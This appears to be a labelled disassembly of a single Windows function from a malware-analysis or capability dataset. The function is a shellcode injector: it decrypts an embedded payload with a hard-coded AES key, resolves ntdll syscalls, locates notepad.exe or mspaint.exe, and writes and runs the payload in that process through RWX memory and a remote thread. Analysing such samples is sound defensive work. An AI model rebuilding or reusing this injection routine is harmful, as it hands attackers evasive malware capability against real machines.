Function at 0x1400024e0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x310]
sub rsp, 0x410
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x300], rax
xor r13d, r13d
lea rcx, [rbp + 0x220]
lea rax, [0x1400043d0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rax]
movups xmmword [rcx], xmm1
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm0
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm1
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm0
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm1
movzx eax, byte [rax + 0x50]
mov byte [rcx + 0x50], al
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x120], xmm1
mov qword [rbp + 0x130], r13
mov ecx, 0xd0
call fcn.140002b60
mov qword [rbp + 0x120], rax
lea rbx, [rax + 0xd0]
mov qword [rbp + 0x130], rbx
mov r8d, 0xd0
lea rdx, [rbp + 0x220]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x128], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x108], xmm1
mov qword [rbp + 0x118], r13
lea ecx, [r13 + 0x10]
call fcn.140002b60
mov qword [rbp + 0x108], rax
lea rcx, [rax + 0x10]
mov qword [rbp + 0x118], rcx
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rbp + 0x110], rcx
mov rax, qword [rbp + 0x108]
movups xmm0, xmmword [str.EncryptionKey128]
movups xmmword [rax], xmm0
mov dword [rsp + 0x60], 0x3020100
mov dword [rsp + 0x64], 0x7060504
mov dword [rsp + 0x68], 0xb0a0908
mov dword [rsp + 0x6c], 0xf0e0d0c
mov dword [rsp + 0x70], r13d
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r13
mov ecx, 0xd0
call fcn.140002b60
mov qword [rbp + 0xf0], rax
lea rbx, [rax + 0xd0]
mov qword [rbp + 0x100], rbx
xor edx, edx
mov r8d, 0xd0
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0xf8], rbx
mov rax, qword [rbp + 0xf0]
sub rbx, rax
mov r9, qword [rbp + 0x110]
mov r8, qword [rbp + 0x108]
sub r9, r8
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
sub rdx, rcx
lea r10, [rsp + 0x70]
mov qword [rsp + 0x38], r10
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call fcn.140002140
mov r8, qword [rbp + 0xf8]
sub r8, 2
mov qword [rbp + 0xf8], r8
mov rdx, qword [rbp + 0xf0]
sub r8, rdx
lea rcx, [rbp + 0x150]
call sub.VCRUNTIME140.dll_memmove
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, str.NtOpenProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx ecx, byte [rax + 4]
mov dword [0x140006718], ecx
lea rdx, str.NtClose
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rax, 0x12
mov qword [0x140006720], rax
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rdx, str.NtWriteVirtualMemory
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rdx, str.NtCreateThreadEx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rdx, str.NtClose
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [rsp + 0x70], r13
lea rax, str.notepad.exe
mov qword [rbp + 0x140], rax
lea rax, str.mspaint.exe
mov qword [rbp + 0x148], rax
mov dword [rbp - 0x40], 0x130
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
lea rdx, [rbp - 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x1400028b5
nop dword [rax]
mov rbx, qword [rsp + 0x70]
test rbx, rbx
jne 0x1400028ba
lea r9, [rbp + 0x140]
nop word [rax + rax]
mov rax, qword [r9]
lea r8, [rbp - 0x14]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002843
inc rax
test ecx, ecx
jne 0x140002830
test edx, edx
je 0x140002859
add r9, 8
lea rax, [rbp + 0x150]
cmp r9, rax
jne 0x140002820
jmp 0x1400028a0
mov dword [rbp - 0x78], 0x30
mov qword [rbp - 0x70], r13
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
mov eax, dword [rbp - 0x38]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], r13
lea r9, [rsp + 0x60]
lea r8, [rbp - 0x78]
mov edx, 0x1fffff
lea rcx, [rsp + 0x70]
call fcn.140002b20
lea rcx, str.___got_handle_n
call fcn.140001010
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140002800
mov rbx, qword [rsp + 0x70]
test rdi, rdi
je 0x1400028cd
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x70]
mov qword [rsp + 0x78], r13
mov qword [rbp + 0x138], 0xce
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x138]
xor r8d, r8d
lea rdx, [rsp + 0x78]
mov rcx, rbx
call r14
lea rcx, str.___allocated_n
call fcn.140001010
mov qword [rsp + 0x20], r13
mov r9d, 0xce
lea r8, [rbp + 0x150]
mov rdx, qword [rsp + 0x78]
mov rcx, rbx
call r15
lea rcx, str.___written_n
call fcn.140001010
mov qword [rbp - 0x80], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9, rbx
xor r8d, r8d
lea edx, [r8 + 0x40]
lea rcx, [rbp - 0x80]
call r12
lea rcx, str.___executed_n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x80]
call rsi
mov rcx, rbx
call rsi
nop
mov rcx, qword [rbp + 0xf0]
test rcx, rcx
je 0x1400029f0
mov rdx, qword [rbp + 0x100]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002ba4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r13
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x140002a45
mov rdx, qword [rbp + 0x118]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a2e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002ba4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], r13
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x140002a88
mov rdx, qword [rbp + 0x130]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a83
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002ba4
xor eax, eax
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.140002b40
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret